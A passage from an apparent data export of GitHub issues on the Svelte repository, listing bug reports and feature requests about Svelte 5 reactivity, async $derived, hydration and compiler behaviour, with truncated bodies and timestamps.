    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
```

Stack trace links point to a place in generated code that looks like this:

```js
$.bind_value(
		input,
		function get() {
			return $.get(query);
		},
		function set($$value) {
			$.set(query, $$value);
		}
	);
```

At first I thought I broke something with the CSS changes, but I realized that I also installed the latest patch update at some point today.

This seems to be happening even in a component as simple as this:

```html
<script>
  let query = $state('');
</script>

<input type=""text"" bind:value={query}>
```

After some debugging I found that this only happens if the bundler (Bun) runs in dev mode, not in production mode. The difference between the two versions of the bundle include a part like this, wh... [TRUNCATED]",,2025-12-02T03:53:02Z,2026-01-27T15:08:24Z,7
sveltejs/svelte,3680520126,Reactivity broken after ~5.43.0,"### Describe the bug

Ref: [https://github.com/sveltejs/svelte/issues/17239#issuecomment-3576002582](#17239)
> If you don't use any async features, probably it's better not to update Svelte until it's ready? Also, I agree that a separate `experimental` branch for both Svelte and Kit is probably better for all. There are a lot of core api reworks meant to fix `async`, but they also affect those who don't use the experimental features.

@henrykrinkle01 @dummdidumm 
Hi, would you mind explain a bit better what this `until it's ready` means? We do not use the new `async` feature in components, all the async work is made in external stores. We got some production bugs due to something related to this issue: we just updated the svelte version, nothing else, app out in production for a while, so we are pretty sure the cause is Svelte itself. 
After fixing this issue, it still persist the same problem, but we can say it's ""better"". 
It's not easy to submit a minimal repro. 
We need to keep svelte to 5.43.0 that is a working version. I saw in the latest versions some refactoring around the reactivity internals, that could be connected to this issue. Do you have any plans about when it could be done? Or we just need to wait for svelte 6 ?
Now our team has missed trust on Svelte release cycle, unfortunately, it's hard to disagree with them.

Here a repro the replicate our code pattern and the interesting part is:
``` typescript
// from svelte 5.43.0 the local store need to be resetted t... [TRUNCATED]",awaiting submitter,2025-12-01T11:19:59Z,2026-01-14T14:00:14Z,10
sveltejs/svelte,3678632732,Allow suppressing `state_referenced_locally` on a per-case basis,"### Describe the problem

```typescript
 const window = $derived.by(()=>{
    const from = new Date(data.services.time.now);
    from.setMinutes(0, 0, 0);
    from.setHours(from.getHours() - 6);
    const to = new Date(data.services.time.now);
    to.setMinutes(0, 0, 0);
    to.setHours(to.getHours() + 12);
    return {from, to};
});
// window_total_ms does not change even if dependencies of window (data.services.time.now is reactive) change
const window_total_ms = window.to.getTime() - window.from.getTime(); //This causes state_referenced_locally
```

### Describe the proposed solution

I would like to suppress the warning. I know window_total_ms will only be computed once and won't be reactive.
It also makes no sense that we can suppress warnings stemming from templating but not from the `<script>` section.
I know I could hardcode `window_total_ms`, but then it wouldn't be derived from `window`. I also now I could declare a constant and use it within both, `window_total_ms` and `window` but the approach above should be also valid and it should be possible to tell the compiler ""I know what I am doing"" so that the same innocuous warning does not pop-up every time I run the checker.

### Importance

nice to have",,2025-11-30T23:49:00Z,2025-12-01T16:27:03Z,2
sveltejs/svelte,3678171474,Scoped styles composition error:  `selector is never used` when following doc examples,"### Describe the bug

Taken [directly from the docs](https://svelte.dev/docs/svelte/class#Attributes-Objects-and-arrays):

```svelte
<!-- Button.svelte -->
<script lang=""ts"">
  let props = $props();
</script>

<button {...props} class={[""cool-button"", props.class]}>
  {@render props.children?.()}
</button>

<style>
  .cool-button {
    color: red;
  }
</style>
```

Does not work and will yield `Selector cool-button is never used`

I stumbled accross multiple issues, but its hard to tell which are up-to-date with the recent svelte 5 developments.

https://github.com/sveltejs/svelte/issues/8542
https://github.com/sveltejs/svelte/issues/1594

Another confusing behavior I observed (and cannot find explanation for in the docs): let's say I reuse the above component like this:

```svelte
<!-- AnotherComponent.svelte -->
<script lang=""ts"">
  import Button from ""./Button.svelte"";
</script>

<Button class=""super-button"">
 Click me!
</Button>

<style>
  /* Local class applied to Button.svelte */
  .super-button {
    background-color: yellow;
  }
</style>
```

Now when I look at the generated HTML

```html
<button class=""cool-button super-button s-_YyUemAWNElK"">
```

The `super-button` class is ignored, and nothing in the documentation makes this obvious.

So this begs my question: are those behaviors expected or are they bugs ? If those behaviors are normal, can the doc be updated to reflect that and clearly state what can and can't be done ?

### Reproduction

https://svelte.dev/play... [TRUNCATED]",,2025-11-30T18:18:21Z,2025-11-30T20:08:28Z,1
sveltejs/svelte,3677779711,Array indexing reactivity breaks in build when inside `<svelte:boundary>`,"### Describe the bug

The `bind:` reactivity of an array (with indexing) breaks when the `bind`s are placed inside `boundary` that does asynchronous work.

Note that this **only** happens when previewing the `build` and _not_ in the `dev` server.

By moving the asynchronous work inside of the `<script>` tag instead, the bug is also ""fixed"".

### Reproduction

https://www.sveltelab.dev/?provider=github&owner=Tinggaard&repo=reactivity-async-build

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 10.42 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /usr/bin/node
    npm: 11.6.4 - /usr/bin/npm
    pnpm: 10.23.0 - /usr/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.137
    Chromium: 142.0.7444.175
    Firefox: 145.0.2
    Firefox Developer Edition: 145.0.2
  npmPackages:
    svelte: ^5.43.8 => 5.45.2
```

### Severity

annoyance",,2025-11-30T13:46:42Z,2026-01-12T22:04:48Z,1
sveltejs/svelte,3677763323,`$props.id` after `await` in `script` breaks,"### Describe the bug

```svelte
<script lang=""ts"">
  import { getData } from ""./test.remote.ts"";

	// swap these two lines and it works
  let data = await getData();
  let thisId = $props.id();
</script>
```
throws 
[plugin:vite-plugin-svelte:compile] can't access property ""map"", visited.declarations is undefined

while 
```ts
  let thisId = $props.id();
  let data = await getData();
```
works just fine.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-kjql6zlq?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
14:26:10 [vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: can't access property ""map"", visited.declarations is undefined
  Plugin: vite-plugin-svelte:compile
  File: /home/projects/sveltejs-kit-template-default-kjql6zlq/src/routes/+page.svelte
  

[500] GET /
transform_body/thunks<@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/shared/transform-async.js:73:24
transform_body@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/shared/transform-async.js:67:38
Program@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/server/visitors/Program.js:33:37
next@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/zimmerframe/src/walk.js:129:21
set_scope@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_... [TRUNCATED]",,2025-11-30T13:27:01Z,2025-12-01T19:40:27Z,1
sveltejs/svelte,3677351191,Server prerendered Atom XML is malformed,"### Describe the bug

This seems like a regression, this part of my website was working previously.

I'm generating Atom XML in an SSG website through a `+server.js` file. The response is minified incorrectly and turns both `<link href="""" />` and `<link href=""""></link>` (what I previously had), into void elements `<link href="""">`, which isn't correct for `application/atom+xml` or XML in general.

This makes Firefox complain with: ""XML Parsing Error: mismatched tag. Expected: </link>.""

Depending on RSS client, it can cause issues there too, and I see no way of disabling the formatting atm.

### Reproduction

```js
export const prerender = true;

export async function GET() {
  let content = `
<?xml version=""1.0"" encoding=""utf-8""?>
<feed xmlns=""http://www.w3.org/2005/Atom"">
<title>My Feed</title>
<link href=""https://example.com/atom.xml"" rel=""self""/>
<link href=""https://example.com""/>
<updated>2025-11-08T14:54:06.000Z</updated>
<author><name>Caellian</name></author>
<id>https://example.com<id>
<entry>
  <title>Some event</title>
  <link href=""https://example.com/some_post""/>
  <id>https://example.com/some_post</id>
  <updated>2025-11-08T14:54:06.000Z</updated>
  <published>2025-11-07T11:20:19.000Z</published>
</entry>
</feed>`;

  return new Response(content, {
    headers: {
      ""cache-control"": ""max-age=0, s-maxage=3600"",
      ""content-type"": ""application/atom+xml"",
    },
  });
}
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linu... [TRUNCATED]",,2025-11-30T04:04:39Z,2025-11-30T04:18:18Z,1
sveltejs/svelte,3677236187,$derived(await ...) is a symbol,"### Describe the bug

Since 5.43.0, sometimes the value of a `$derived(await ...)` is unexpectedly a symbol which can cause errors.


### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.45.2#H4sIAAAAAAAAE22R3U4DIRCFX4XQXuwas403JtIf450XvoHrBS2DIUHAZbY_bnh3h6XaVssFZA7znZyBgTv5AVzwZ7DWs53vrGIVKIOgan7LtbEQuXgdOB5C7ssC6UfqKYQmbsFi1tYywjV94x2CQ7Lhi7jpTMBV6xgtC8i092zJphElQuV6a-t568r1FLSGDVZVzZYrNhQxr8LcP8yLlE5IdlzLLjsq6MwWVCV30iC7-9vzdd6TDR9H25sRF-wyCU0QkX32e4JaTmfL6W4x-52GirAiU8EG2tNiFopY3kCsfe-U7A7HuYdJdCYEyhHAKePeqzqdpiOnFy-z3DRNcRqh2RFKP6mGidE51CV7Thidxpj_UtCvIOyRC-x6SG9USWN3xikutLQR0jfD3YLbGAIAAA)

```svelte
<script>
    let foo = $state(null);

    $effect(() => {
        foo = 69;
    });

    let bar = $derived(await 1);

    let baz = $derived(foo ? foo * bar : null);

    const qux = ""qux"";
</script>

<p>baz: {baz}</p>

<svelte:boundary>
    {#snippet pending()}
        <p>Loading...</p>
    {/snippet}

    {#if qux}
        <p></p>
    {/if}
</svelte:boundary>
```

### Logs

```shell
Unhandled Promise Rejection: TypeError: Cannot convert a symbol to a number

	in <unknown>
	in __wrapper.svelte



TypeError
@
update_reaction@
execute_derived@
update_derived@
is_dirty@
flush_queued_effects@
process@
flush_effects@
flush@
revive@
decrement@
@
@[native code]
```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-30T00:41:35Z,2026-01-08T20:15:14Z,4
sveltejs/svelte,3677204248,"Svelte interpeting input patterns <input type=""text"" pattern=""[A-Za-z]{3}"" /> to be <input type=""text"" pattern=""[A-Za-z]3"" />","### Describe the bug

Input element patterns are regular expressions and as such can contain {} that should not be interpeted as svelte expressions.
The pattern parameter likely needs special handeling/consideration?  Or is this expected behaviour?

Curly Braces in input patterns are Interpeted as Svelte variables/expressions:
`<input type=""text"" pattern=""[A-Za-z]{3}"" />` is output as `<input type=""text"" pattern=""[A-Za-z]3"" />`

It is possible to get the curly braces to output with extra wrapping:
`<input type=""text"" pattern=""[A-Za-z]{'{3}'}"" />`

Not sure if that is the desired way to handle this?
Or if this is a bug that needs addressing?

Thought I'd report it and let the team decide just in case.
Thanks for all the hard work! 🏆❤️

### Reproduction

Curly Braces in input patterns are Interpeted as Svelte variables/expressions:
`<input type=""text"" pattern=""[A-Za-z]{3}"" />` is output as `<input type=""text"" pattern=""[A-Za-z]3"" />`

It is possible to get the curly braces to output with extra wrapping:
`<input type=""text"" pattern=""[A-Za-z]{'{3}'}"" />`

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (8) arm64 Apple M2
    Memory: 148.64 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /Users/joshuajarman/.asdf/installs/nodejs/25.2.1/bin/node
    npm: 11.6.2 - /Users/joshuajarman/.asdf/plugins/nodejs/shims/npm
    pnpm: 10.24.0 - /Users/joshuajarman/.asdf/installs/pnpm/10.24.0/bin/pnpm
    Deno: 2.5.6 - /opt/homebrew/bin/deno
  Browsers:
    C... [TRUNCATED]",,2025-11-29T23:51:10Z,2025-11-30T00:31:16Z,2
sveltejs/svelte,3676333096,Incorrect type narrowing in `bindable` with fallback,"### Describe the bug

Variable `a` should be `string | undefined` even though a string fallback is provided.

```svelte
<script lang=""ts"">
  let {
    // let a: string - problematic
    a = $bindable('fallback'),
    // let b: string | null - works
    b = $bindable('fallback'),
    // let c: string | undefined - works
    c = $bindable()
  }: {
    a?: string | undefined;
    b?: string | null;
    c?: string | undefined;
  } = $props();

  // Type 'undefined' is not assignable to type 'string'. (ts 2322)
  a = undefined;
  b = null;
</script>
```

### Reproduction

See above. Will create a SvelteKit repo if requested.

### Logs

```shell

```

### System Info

```shell
System:
  OS: Windows 11 10.0.26200
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 6.35 GB / 31.48 GB
Binaries:
  Node: 24.11.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\node.EXE
  npm: 11.6.1 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\npm.CMD
  pnpm: 10.23.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\pnpm.CMD
  Deno: 2.4.0 - C:\Users\hyunb\.deno\bin\deno.EXE
Browsers:
  Chrome: 142.0.7444.176
  Edge: Chromium (140.0.3485.54)
  Firefox: 145.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
```

### Severity

annoyance",,2025-11-29T04:23:30Z,2025-11-29T09:52:27Z,2
sveltejs/svelte,3774054280,$inspect() Rune breaks build with remote functions,"### Describe the bug

Remote function output breaks build when used in $inspect rune

### Reproduction

```svelte
	const events = $derived(await getEvents());   // remote function
	const displayEvents = $derived(limit > 0 ? events.slice(0, limit) : events);

	$inspect(events);  //  <<< **🔥 this breaks the build**
````

```bash
error during build:
src/lib/components/track-event.svelte (25:14): Expression expected (Note that you need plugins to import files that are not JavaScript)
file: /home/geryy/triple-m/bw/packages/website/src/lib/components/track-event.svelte:25:14

23:       async () => events = await getEvents({ exclude_old }),
24:       () => displayEvents = limit > 0 ? events.slice(0, limit) : events,
25:       () => void ;
                     ^
26:     ]);

    at getRollupError (file:///home/xxx/website/bw/node_modules/.pnpm/rollup@4.53.3/node_modules/rollup/dist/es/shared/parseAst.js:401:41)
```

### Logs

```Shell
src/lib/components/track-event.svelte (25:14): Error when using sourcemap for reporting an error: Can't resolve original location of error.
✓ 79 modules transformed.
✗ Build failed in 451ms
error during build:
src/lib/components/track-event.svelte (25:14): Expression expected (Note that you need plugins to import files that are not JavaScript)
file: /home/xxxx/website/bw/packages/website/src/lib/components/track-event.svelte:25:14

23:       async () => events = await getEvents({ exclude_old }),
24:       () => displayEvents = limit > 0 ? events.slice(0... [TRUNCATED]",,2025-11-28T13:57:18Z,2026-01-03T15:43:32Z,6
sveltejs/svelte,3675012019,A `$derived` property depending on a `SvelteSet` doesn't update,"### Describe the bug

In this example, I have an `expanded_ids` set. Each item has an `expanded` property that depends on that set. For some reason, the `expanded` property doesn't update when you read it immediately after updating the set. I found a strange workaround for this bug. You can find it in the playground below.

### Reproduction

https://svelte.dev/playground/6f5ca2c4404d4c57a953869b58b954cb?version=5.45.2

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 184.72 MB / 16.00 GB
    Shell: 4.2.1 - /opt/homebrew/bin/fish
  Binaries:
    Node: 22.21.1 - /Users/abdel/.local/share/mise/installs/node/22.21.1/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.4 - /Users/abdel/.local/share/mise/installs/node/22.21.1/bin/npm
    pnpm: 10.20.0 - /Users/abdel/.local/share/mise/installs/pnpm/10.20.0/pnpm
    bun: 1.3.3 - /opt/homebrew/bin/bun
  Browsers:
    Brave Browser: 142.1.84.141
    Safari: 26.1
  npmPackages:
    svelte: ^5.45.2 => 5.45.2
```

### Severity

annoyance",,2025-11-28T13:54:22Z,2025-12-02T22:27:05Z,1
sveltejs/svelte,3673003468,Duplication of {#each} items with experimental async,"### Describe the bug

Since v5.43.0, some items in an `{#each}` block are duplicating in a specific scenario related to the experimental async syntax. All awaited items except the first appear a second time (eg. item 1, item 2, item 3, item 2, item 3). The items are not duplicated in the SSR ouput (in a SvelteKit app), the duplicated items are only added on client load, it appears.

Note: This only occurs in a production build, not in development. No errors/warnings are logged. The issue does not occur in v5.42.3 or below.

### Reproduction

The following is a minimal reproduction of an issue I am encountering in a real app. The issue does not occur if `const another = {...}` (L5) is moved before `const messages = await ...` (L4), if `another` is not passed to the component, or if the `<p>{message}</p>` is defined directly in the `{#each}` block, instead of in a seperate component.

Playground: https://svelte.dev/playground/hello-world?version=5.43.15#H4sIAAAAAAAACo1QQWrDMBD8yrItOAET0_ZmbEPppcfeoxxUe5MIZElot0mL0d-LaRw3IYWeNBqtZmdmQKd7whJfyVoPRx9tBwvqjFC3xBy3xhJjuR5QvsI4NxKYT7-eQ1jxgayM3LtmusW33gk5YSyx4jaaIGC129UKhRU2ygGYPvgo8OL74B05gW30PWSr4syc5DLlxvnWOxboiVnviKEGfdRG4C363jCtIrG3B1qsFRqhHh4U5nDCj7_wk8LNctbTzsueItQwgBBLCdl4ZJCUq4of681oYLgj3e7n_ZonnEa1as4xTDwMJ_UERaPcUIwKCXMU-hQsJX5Qyv9o-bqEy65vvP6jcUsCw-QaUjlfSmCJxu3yqY-JgAQ13IfoAy-WV41UoTlHrYrQXAbb5Cja2KNxHZZbbZnSNwCgDOl5AgAA

(you need to use it with hydration locally in the playground to reproduce; for an in-browser reprodu... [TRUNCATED]",,2025-11-27T21:06:36Z,2026-02-06T09:19:16Z,0
sveltejs/svelte,3668658703,`{@` is incorrectly parsed as nothing,"### Describe the bug

If you have a svelte component with just `{@` in it the component is actually parsed as empty...this also means that having `{@whatever}` is parsed as just the text `whatever}`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.44.1#H4sIAAAAAAAAE23LMQoCMRCF4assr1IIHmAq7byDWETzFgJjEnZGVwl7d0lhZ_vx_x0lPgjBmap1WuuiadoxZWfaI2DOSoNcOvzTRjcA4XedWjvYi-rDbtH4z--1OIsbBP2IAOfbIb48uV0DPGZdc0mQOapx-wJmROOqkgAAAA)

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",compiler,2025-11-26T18:42:36Z,2025-11-26T21:25:45Z,0
sveltejs/svelte,3668643167,Array destructuring broken in `async` script,"### Describe the bug

Having something as simple as this

```svelte
<script>
	await Promise.resolve();
	const [] = $derived([]);
</script>
```
throws a `ReferenceError $$array is not defined`

this is because this is the generated code

```ts
import 'svelte/internal/disclose-version';
import 'svelte/internal/flags/async';
import * as $ from 'svelte/internal/client';

export default function App($$anchor) {
	var $$promises = $.run([
		() => Promise.resolve(),

		() => {
			var $$d = $.derived(() => []);

			$$array = $.derived(() => $.to_array($.get($$d), 0));
		}
	]);
}
```
which means `$$array` is not a multi declaration with `$$d` how it should be.

### Reproduction

[repl](https://svelte.dev/playground/hello-world?version=5.44.1#H4sIAAAAAAAAE22MMQvCMBBG_0o4HFoIdY9VcHN0bzvE5gqBaxJyZ6uU_ncJ6Ob63ve-DYKdEQzckCiqNWZyqkLnBV0NGiZPyGC6DeSdyq4A0L_qmlLDC5IU9rCM__gYg2AQBgMtj9knufShF7taL-qe4-wZm4wcacGqPhU3xsCiukGd1cFh9gu6qhuKa4_fC9Ag-BIwkp-4DxrEelp9cGAmS4z7Bymt98PbAAAA)

### Logs

```shell

```

### System Info

```shell
repl
```

### Severity

annoyance",,2025-11-26T18:36:08Z,2025-11-26T20:55:39Z,0
sveltejs/svelte,3667773663,[BUG] SCSS with & class modifier is stripped from compiled styles,"### Describe the bug

One of our clients insisted on using single class selectors.
I will not debate if it's reasonable or not, but this is actually a bug.

```html
<div class=""root"">
	<p class=""root__child"">1</p>
	<p class=""root__child"">2</p>
	<p class=""root__child"">3</p>
	<p class=""root__child"">4</p>
</div>

<style lang=""scss"">

	.root {

		/** This is marked as unused -- cut off from compiled CSS */
		&__child {
			color: red;
		}
	}
	
</style>
```


The result of compiled SCSS should be:

<img width=""1418"" height=""486"" alt=""Image"" src=""https://github.com/user-attachments/assets/bfdec946-4c11-4aaf-8744-8700747a2c2b"" />

https://sass-lang.com/playground/#eJwzNNQrys8vUajmUgACtfj45IzMnBQoFwSS83Pyi6wUilJTrMFitVy1AGyCDYQ=

### Reproduction

Svelte playground:
https://svelte.dev/playground/6143b525639143f5ab2044e18961e8d3?version=5.44.1

Sass playground:
https://sass-lang.com/playground/#eJwzNNQrys8vUajmUgACtfj45IzMnBQoFwSS83Pyi6wUilJTrMFitVy1AGyCDYQ=

### Logs

```shell

```

### System Info

```shell
Svelte 5.44.1
```

### Severity

blocking all usage of svelte",,2025-11-26T14:35:08Z,2025-11-26T16:21:12Z,3
sveltejs/svelte,3664624487,[5.43.9] `$effect.pending()` blocks navigation when passing async `{@const}` data to component,"### Describe the bug

Using `$effect.pending()` and passing async data from `{@const}` to a component seems to block navigation to a page after the first attempt. Removing `$effect.pending()` works and passing async data from script block works.

This issue first appears in `5.43.9`.

### Reproduction

https://stackblitz.com/edit/sveltekit-308957-8ktcalyf-gyyokumj?file=src%2Flib%2FComponent.svelte,src%2Froutes%2F[test]%2F%2Bpage.svelte,src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 309.19 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/node
    npm: 11.6.1 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/npm
    pnpm: 10.21.0 - /Users/sillvva/.nvm/versions/node/v24.11.0/bin/pnpm
    bun: 1.2.20 - /Users/sillvva/.bun/bin/bun
  Browsers:
    Firefox: 144.0
    Safari: 26.1
  npmPackages:
    svelte: 5.43.9 => 5.43.9
```

### Severity

annoyance",,2025-11-25T21:17:34Z,2026-02-04T21:06:47Z,1
sveltejs/svelte,3664344109,"$derived(await ...) with chained $derived and {#each} throws ""Cannot read properties of undefined""","### Describe the bug

When a $derived depends on another $derived(await ...), and the template uses {#each} to iterate over the chained derived value, the component throws ""Cannot read properties of undefined"".

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-zshfm21r?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.44.0 => 5.44.0
```

### Severity

blocking an upgrade",,2025-11-25T19:35:01Z,2026-04-20T21:14:11Z,5
sveltejs/svelte,3663328093,Parts of application infrequently broken after v5.43.12,"### Describe the bug

This PR seems to have introduced _something_ that breaks our app: https://github.com/sveltejs/svelte/pull/17191 (we checked every single version from v5.42.0)

I'm not sure what happens, but we have a table with multiple component. Clicking on the component causes it to toggle from ""preview"" to ""input"" mode, and when we do this enough times the components start freezing. Difficult to explain, but here's a video showing how it stops working:

https://github.com/user-attachments/assets/c07679ff-0276-4a37-b2cb-866db73aede5

One last thing i have to get off my chest: I am starting to get trust-issues with Svelte upgrades. We have been affected 4 different times the last months due to upgrades coming from ""async"" mode, even though we have explicitly set `FALSE` in the experimental config. I know it's a lot of work to maintain a frontend library of this size, and i understand that you have a lot on your plate, but i just have to mention that the current state of feature flagging an **experimental** feature has not lived up to the expectations i have of this amazing framework/team. The bugs that have occurred the past months have been hard to spot, and there's almost no way for us to notice them except from receiving tickets from our users or us randomly stumbling across them while using our app.

As a result of this we have to reduce the frequency of updating Svelte (probably a good idea anyway in these Shai Hulud times), but now we're also going to be a littl... [TRUNCATED]",,2025-11-25T14:34:56Z,2025-11-26T19:06:16Z,13
sveltejs/svelte,3661887106,5.43.0:  Error: `Cannot read properties of undefined (reading 'f')` while destructuring async objects,"### Describe the bug

```svelte
<script lang=""ts"">
	async function getUser() {
		return {
			id: 1,
			name: 'Rich'
		};
	}
	const user = $derived(await getUser());
	const { id, name } = $derived(user);
</script>

{id}-{name}
```
This results in error but deriving the object without destructuring works.
I think this issue is similar to https://github.com/sveltejs/svelte/issues/17224, which is supposed to be fixed by https://github.com/sveltejs/svelte/pull/17226. However, it doesn't fix this.

### Reproduction

https://svelte.dev/playground/175e6f5e85a448f5a9f340fabbb89461?version=5.44.0

### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'f')
```

### System Info

```shell
svelte@5.44.0
```

### Severity

annoyance",,2025-11-25T07:50:25Z,2025-11-25T21:52:27Z,0
sveltejs/svelte,3661863406,Allow promise hydration to work with instances of Promise from another context,"### Describe the problem

Sort of similar to https://github.com/sveltejs/devalue/issues/5 (wow, 2018), if I try to serialize an object for hydration and it contains instances of `Promise` from another context - like it would when I'm running code with `vm.runInNewContext()` - then Svelte fails to see this as a promise, and devalue balks at having to serialize an arbitrary POJO.

### Describe the proposed solution

The only thing I can think of is to try duck typing this. How would we feel about `result && typeof result.then == 'function'` instead of `result instanceof Promise`?

### Importance

nice to have",,2025-11-25T07:41:58Z,2025-12-01T18:48:55Z,3
sveltejs/svelte,3659075646,Unexpected `#each` block behavior with destructuring,"### Describe the bug

Using the construct `{#each gen() as [item]}` with a generator that mutates the yielded object produces a result that differs from the behavior of a `for…of` loop with destructuring.

If this behavior is expected, it should be documented.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.14#H4sIAAAAAAAAA22PzW6DMAzHX8XyLrCitpddKCDttncgHDIwbaTUiRJ3bYV49ykwetopys__D3tC1lfCEr_IWgd3F-wAGQ1GaMixwNFYili2E8rTJ10CWGyuT-_38YesJPatI_3He8dCLBFLrGIfjJdGMcB4416MY3g_E2c5TAkC9I6jgA4BamiP3QpHFyCzJGCghuMJDFTwcQKz2718kDztsYMazGlDT0N2SIMVzOmZFStWsvbQw1MvNKSyLuGlaZ21RujagRthWXBpUqJk8-z9LV6yJMq33CXVWdpbd842Xa64OrwOVzy9ke4vayjo-Nez7Fb5Zkq_uTr4RvF0SMpZMRYo9BAsJdxo7goUbezd8IDlqG2k-Rd_tBjDyAEAAA)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 cpe:/o:nixos:nixos:25.05 25.05 (Warbler)
    CPU: (12) x64 Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz
    Memory: 4.58 GB / 15.56 GB
    Container: Yes
    Shell: 5.2.37 - /run/current-system/sw/bin/bash
  Binaries:
    Node: 24.7.0 - /nix/store/ffx0ixqnd6arwnjqmjv844krhay4iycj-nodejs-24.7.0/bin/node
    npm: 11.5.1 - /nix/store/ffx0ixqnd6arwnjqmjv844krhay4iycj-nodejs-24.7.0/bin/npm
    pnpm: 10.15.1 - /nix/store/dmnyvw4gf3i8b65s3k7q4ws3257m6zrs-pnpm-10.15.1/bin/pnpm
  Browsers:
    Brave Browser: 142.1.84.141
  npmPackages:
    svelte: ^5.30.0 => 5.43.14
```

### Severity

annoyance",,2025-11-24T14:08:42Z,2026-02-13T04:19:06Z,2
sveltejs/svelte,3658291763,Hydration mismatch when rendering snippets with async values,"### Describe the bug

When a snippet renders an async value with ssr enabled, there's a warning about hydration mismatch. It still renders correctly however. Not sure if there's any consequence or just a false positive.

### Reproduction

```svelte
<script lang=""ts"">
	const count = await 1;
</script>

{#snippet foo(count: number)}
	{count}
{/snippet}
{@render foo(count)}
```
https://stackblitz.com/edit/async-snippet-hydration-problem?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
+layout.svelte:34 [svelte] hydration_mismatchHydration failed because the initial UI does not match what was rendered on the server
```

### System Info

```shell
svelte@5.43.14
kit@2.49.0
```

### Severity

annoyance",,2025-11-24T10:54:11Z,2026-02-08T00:51:23Z,2
sveltejs/svelte,3657716244,5.43.0: Cannot destructure property with `@const` if undefined,"### Describe the bug

```html
<script>
	//It works if comment out `await`;
	const obj = await { foo: 'foo' };
</script>

{#if true}
	{@const { foo, bar } = obj}
	{foo}
	{bar}
{/if}
```
This used to work in 5.42.3. Only happens with async objects.

### Reproduction

https://svelte.dev/playground/6e298c8f77a340f5b0d1da9b2f922c43?version=5.42.3
https://svelte.dev/playground/6e298c8f77a340f5b0d1da9b2f922c43?version=5.43.0

### Logs

```shell

```

### System Info

```shell
svelte@5.43.14
```

### Severity

annoyance",,2025-11-24T08:36:46Z,2025-11-25T20:45:05Z,1
sveltejs/svelte,3653614874,SvelteURLSearchParams: Reading `size` causes unnecessary renders on related SvelteURL.href changes,"### Describe the bug

Effects are run every time the URL **doesn't** change at all.  I know, it sounds strange.  In more detail:  Effects that have read the `SvelteURLSearchParams.size` property are re-run every time the `SvelteURL.href` property is set, even when this doesn't affect URL search parameters at all.

## Potential Consequences

I know, the above doesn't seem like much, but it really kind of is.  In my case, it was causing infinite effect loops.  I'll describe a bit further my case.

### My Scenario

I made a SPA/PWA router for Svelte using all-native Svelte v5 API.  For the curious:  [@svelte-router/core](https://github.com/WJSoftware/svelte-router-core).  I am adding the ability to redirect URL's using a class that sets up an effect.

The effect is supposed to run whenever the location URL changes, or whenever the list of redirections changes.  The former is the important one for this scenario.

Whenever location changes, the list of redirections is tested against the URL, and if a match is found, the router navigates to the specified new URL.

Because of the library's very unique nature, there's a non-trivial ""final URL"" calculation performed before actually navigating.  One of the perks this algorithm offers is the ability to preserve existing query string values.  This is where `SvelteURLSearchParams` comes into play:  The library uses a `SvelteURL` (that comes with one instance of `SvelteURLSearchParams`) to create the reactive version of the window's locati... [TRUNCATED]",,2025-11-22T01:50:56Z,2026-06-15T16:08:47Z,0
sveltejs/svelte,3653067626,Svelte choking on JavaScript Comment Blocks with Example Usage,"### Describe the bug

Version: svelte 5.43.14

Unterminated comment
https://svelte.dev/e/js_parse_error

